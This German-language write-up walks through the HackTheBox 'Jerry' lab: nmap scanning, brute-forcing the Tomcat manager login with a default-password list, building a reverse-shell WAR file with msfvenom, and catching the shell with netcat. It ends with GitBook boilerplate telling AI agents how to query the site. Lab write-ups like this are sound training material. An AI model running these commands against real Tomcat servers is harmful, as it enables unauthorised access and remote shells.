> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/jerry-hackthebox-writeup.md).

# Jerry HackTheBox-Lösungsbericht

{% embed url="<https://app.hackthebox.com/machines/Jerry>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Informationsleck
* Tomcat ausnutzen (Eindringen und Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/d6aa152d1c156797df0bda692a9408113213d872" alt=""><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/bb4645dac4d98137a96bfe48b9ba681c7fc67327" alt=""><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -min-rate 5000 -Pn 10.10.10.95 -oG allPorts
```

<figure><img src="/files/3f2c9ddb10b375ec9ef5cefd6b6eb1b83b66fff2" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und in die Zwischenablage zu kopieren.

<figure><img src="/files/e76a4be98f390ebb53dc7ed476c77e428bd20d14" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p8080 10.10.10.95 -oN targeted
```

<figure><img src="/files/18e0eb68586ec7175323bd0366eddd11386a6f81" alt=""><figcaption></figcaption></figure>

## Port 8080 - Tomcat

Auf Port 8080 läuft ein Server **Apache Tomcat**. Eine Analyse mit `whatweb` offenbart die **7.0.88** Version, die bekanntermaßen verwundbar ist.

<div data-full-width="true"><figure><img src="/files/d4815efe1485e20b4ee9cce4ff7f1ff0c33ada18" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/eea613b3893c8492a22d2bc189002d8b8b8bd398" alt=""><figcaption></figcaption></figure>

### Informationsleck

**Mit dem Administrationsbereich verbinden**

<figure><img src="/files/f457b2a0ca03bdafea89a8163f5e5a2ec807f65e" alt=""><figcaption></figcaption></figure>

Wir versuchen, auf das `/manager/html` Panel mit Standardanmeldedaten (z. B. `admin:admin`), aber das schlägt fehl.

{% embed url="<https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py>" %}

/*/* Brute-Force-Angriff auf Kennungen/*/*

Wir verwenden die SecLists `tomcat-betterdefaultpasslist.txt` Wörterbuch, um einen Brute-Force-Angriff auf die Anmeldedaten durchzuführen:

Um diese Aufgabe zu automatisieren, verwenden wir ein Python-Skript:

```bash
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http
```

**Ergebnis:** Gefundene gültige Zugangsdaten sind:/ `tomcat:s3cret`

<figure><img src="/files/43fd7ecd3aac876b860f7a42e906abffc1ded163" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bc20b6776c49adf800a9dde64e0a6b14fb31ba35" alt=""><figcaption></figcaption></figure>

### Tomcat-Schwachstelle:

**1. Erstellung einer WAR-Datei:**/ Wir verwenden `msfvenom` um eine WAR-Datei mit einer Reverse Shell zu erstellen:

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war
```

<figure><img src="/files/1edeb023c32a19d8b14501c166f7efbc16b72a81" alt=""><figcaption></figcaption></figure>

**2. Bereitstellung über den Tomcat-Manager:**/ Wir laden die WAR-Datei in den `/manager/html` das Panel.

<figure><img src="/files/77619c8d58300a339af14dcde9dc90037f01ba94" alt="" width="563"><figcaption></figcaption></figure>

**3. Auf die Reverse Shell lauschen:**/ Wir richten einen Listener ein, um die umgekehrte Verbindung abzufangen:

```bash
rlwrap nc -nlvp 443
```

Durch Ausführen der bereitgestellten Datei (`/reverse`), erhalten wir eine interaktive Shell auf der Zielmaschine.

<figure><img src="/files/9399f0769f388193374eb0bb2e021421134628bf" alt=""><figcaption></figcaption></figure>

### Flags user.txt + root.txt :)

<figure><img src="/files/f0e4fe01efde0028ff74bbaf167d242c182194d8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/71a5c15a90c88300e800cc66d8e0157cdcdb6c2b" alt="" width="509"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/jerry-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
